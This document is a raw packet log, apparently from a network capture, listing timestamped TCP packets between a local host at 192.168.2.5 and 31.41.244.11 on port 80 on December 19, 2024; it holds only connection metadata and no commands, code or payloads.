Dec 19, 2024 03:09:35.337595940 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.337655067 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.337698936 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.338552952 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.338675976 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.338721037 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.339549065 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.339601040 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.339649916 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.339701891 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.340569019 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.340616941 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.340641975 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.340701103 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.341681957 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.341728926 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.341797113 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.341837883 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.342931032 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.343084097 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.343137026 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.343889952 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.343940973 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.344018936 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.344069004 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.344994068 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.345040083 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.345093012 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.345138073 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.346021891 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.346126080 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.346183062 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.346788883 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.346837044 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.346842051 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.346884966 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.347588062 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.347635031 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.347661972 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.347706079 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.348524094 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.348571062 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.348632097 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.348675013 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.349586010 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.349634886 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.349737883 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.349782944 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.350553036 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.350636005 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.350683928 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.351551056 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.351613998 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.351650953 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.351694107 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.352593899 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.352648020 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.352675915 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.352720022 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.353741884 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.353843927 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.353895903 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.354566097 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.354609966 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.354654074 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.354700089 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.355552912 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.355602980 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.355662107 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.355705976 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.356539011 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.356589079 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.356645107 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.356689930 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.357530117 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.357577085 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.357628107 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.357672930 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.358522892 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.358622074 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.358669043 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.359559059 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.359611034 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.359677076 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.359716892 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.360515118 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.360562086 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.360699892 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.360743999 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.361521959 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.361587048 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.361623049 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.361670971 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.362497091 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.362544060 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.502214909 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.502362013 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.502373934 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.502410889 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.502899885 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.502954960 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.503074884 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.503150940 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.503859997 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.504201889 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.504261971 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.504365921 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.504415035 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.505103111 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.505146980 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.505292892 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.505335093 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.506184101 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.506252050 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.506325960 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.506369114 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.507191896 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.507246971 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.507386923 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.507435083 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.508135080 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.508189917 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.508296013 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.508379936 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.509160995 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.509213924 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.509321928 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.509378910 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.510165930 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.510216951 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.510328054 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.510485888 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.511243105 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.511254072 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.511302948 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.512084007 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.512131929 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.512279034 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.512324095 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.513112068 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.513155937 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.513288021 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.513336897 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.514101982 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.514153957 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.514280081 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.514338017 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.515254974 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.515305042 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.515414000 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.515590906 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.516271114 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.516320944 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.516458988 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.516530037 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.517251015 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.517261982 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.517304897 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.517304897 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.518259048 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.518424034 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.518480062 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.519248009 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.519304037 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.519385099 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.519434929 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.520267010 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.520317078 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.520442009 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.520488977 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.521228075 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.521274090 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.521399975 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.521450996 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.522218943 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.522263050 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.522387028 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.522433043 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.523170948 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.523181915 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.523220062 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.524122953 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.524311066 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.524359941 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.525146008 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.525156975 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.525206089 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.526305914 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.526369095 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.526480913 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.526526928 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.527326107 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.527390003 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.527517080 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.527565002 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.528055906 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.528101921 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.528403997 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.528449059 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.529423952 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.529469967 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.529603958 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.529645920 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.530299902 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.530311108 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.530349970 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.531121969 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.531169891 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.531245947 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.531291962 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.532172918 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.532223940 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.532356024 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.532417059 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.533421040 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.533432007 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.533473015 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.534202099 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.534395933 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.534450054 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.535439014 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.535504103 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.535573959 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.535620928 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.536544085 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.536588907 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.536636114 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.536684990 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.537759066 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.537806034 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.537854910 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.537899971 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.538726091 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.538777113 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.538839102 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.538882971 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.539823055 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.539885998 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.540014029 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.540059090 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.541033983 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.541083097 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.541243076 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.541286945 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.542041063 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.542088032 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.542203903 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.543107033 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.543147087 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.543217897 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.543262005 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.544061899 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.544111967 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.544114113 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.544150114 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.545063019 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.545108080 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.545182943 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.545227051 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.546247005 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.546295881 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.546312094 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.547240019 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.547286987 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.547360897 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.547408104 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.548201084 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.548243046 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.548280001 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.548341036 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.548971891 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.549022913 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.549089909 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.549134016 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.549835920 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.549880981 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.549937963 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.550662994 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.550705910 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.550743103 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.550786972 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.551543951 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.551590919 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.551661015 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.551703930 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.552855015 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.552901983 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.552964926 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.553008080 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.553863049 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.553910971 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.554049015 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.555305958 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.555352926 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.555429935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.555479050 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.694262981 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.694298029 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.694360018 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.694741964 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.694781065 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.694793940 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.694818974 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.695096970 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.695147038 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.695914984 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.695976973 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.696317911 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.696366072 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.696990013 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.697000027 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.697032928 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.697047949 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.697849035 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.698004007 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.698049068 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.699059963 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.699122906 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.699198008 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.699245930 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.699975967 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.700023890 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.700197935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.700248957 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.701086044 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.701133013 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.701328993 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.701371908 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.702100992 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.702145100 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.702249050 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.702292919 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.702935934 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.702980042 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.702991962 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.703036070 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.703924894 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.703969955 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.703984022 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.704036951 CET	49885	80	192.168.2.5	31.41.244.11
